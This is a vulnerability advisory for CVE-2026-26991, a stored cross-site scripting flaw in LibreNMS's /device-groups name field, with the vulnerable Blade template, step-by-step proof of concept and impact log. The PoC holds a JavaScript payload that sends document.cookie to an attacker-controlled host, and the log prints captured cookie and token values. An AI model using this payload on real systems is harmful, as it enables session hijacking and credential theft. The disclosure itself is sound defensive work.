CVE-2026-26991: LibreNMS vulnerable to Stored Cross-site Scripting through unsanitized /device-groups name

Summary /device-groups name Stored Cross-Site Scripting - HTTP POST - Request-URI(s): "/device-groups" - Vulnerable parameter(s): "name" - Attacker must be authenticated with "admin" privileges. - When a user adds a device group, an HTTP POST request is sent to the Request-URI "/device-groups". The name of the newly created device group is stored in the value of the name parameter. - After the device group is created, the entry is displayed along with some relevant buttons like Rediscover Devices, Edit, and Delete.

Details The vulnerability exists as the name of the device group is not sanitized of HTML/JavaScript-related characters or strings. When the delete button is rendered, the following template is used to render the page:

resources/views/device-group/index.blade.php: @section('title', ('Device Groups')) @section('content') <div class="container-fluid"> <x-panel id="manage-device-groups-panel"> // [...Truncated...] @foreach($devicegroups as $devicegroup) // [...Truncated...]

<button type="button" class="btn btn-danger btn- sm" title="{{ ('delete Device Group') }}" aria-label="{{ ('Delete') }}" onclick="deletedg(this, '{{$devicegroup->name }}', '{{ route('device-groups.destroy', $devicegroup->id) }}')"> // using the device's name in the Delete button functionality without sanitizing for XSS related characters/strings

As the device's name is not sanitized of HTML/JavaScript-related characters or strings, this can result in stored cross-site scripting.

PoC - Login - Select Devices > Manage Groups - Select New Device Group - Input 12345');var pt=new Image();pt.src='http://<ATTACKERIP>/cookie- - '.concat(document.cookie);document.body.appendChild(pt);deletedg(this, '12345 into - the "Name" input box (change <ATTACKERIP> to be an the IP of an attacker controlled webserver) - Select "accesspoints.accesspointid" as the Conditional input - Input 1 into the Conditional value input box - Select Save - Select the Delete Icon for the newly created Device Group - Select OK - The JavaScript payload is not sanitized and an HTTP request will be sent to the attacker controlled - server, leaking the user's cookies.

Impact Attacker Controlled server's logs: 192.168.1.96 - - [10/Feb/2026:13:32:25 -0600] "GET /cookie- jqCookieJaroptions=%7B%7D;%20SWIFTcookieconsent=dismiss;%20CookieAuth=%5B%22emai

l%40email.c.com%22%2C%22%242y%2410%24zI.%5C%2F5BHghPssddSOjH6.Eek%5C%2F0hQNm8DewYh

LnQxXHlpw3abw4C74y%22%5D;%20XSRF- TOKEN=eyJpdiI6InkrSlpHNFZ3TjRXbXl5clQ2ZVBHOFE9PSIsInZhbHVlIjoiZTROUHRCcGhYRGU4dVJL

Z2RUUTZ5VXlGZElMNjZoT0E2cGRNZzVDRmtVWTg5YTBGNzdpTU83YU1EZ3E3Tk1BTm5tNjYxTExUV1Z0Mj BLNUlqOVl4MlpGL21xdHh3MUJwYm1zT1RaQXJwR0w5YmVXTkdKQWNXUkNvL1J2SzVtcWMiLCJtYWMiOiI0 ZTc4YjVmMjhiYjc3YTA2MDI5NjJkOTgzMTJlYmVkNGVhOTg0ZjE4ZjRlMzY1NmFlMjNiNmUyNzhlN2QwOG I4IiwidGFnIjoiIn0%3D HTTP/1.1" 404 492 "http://192.168.1.121/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36"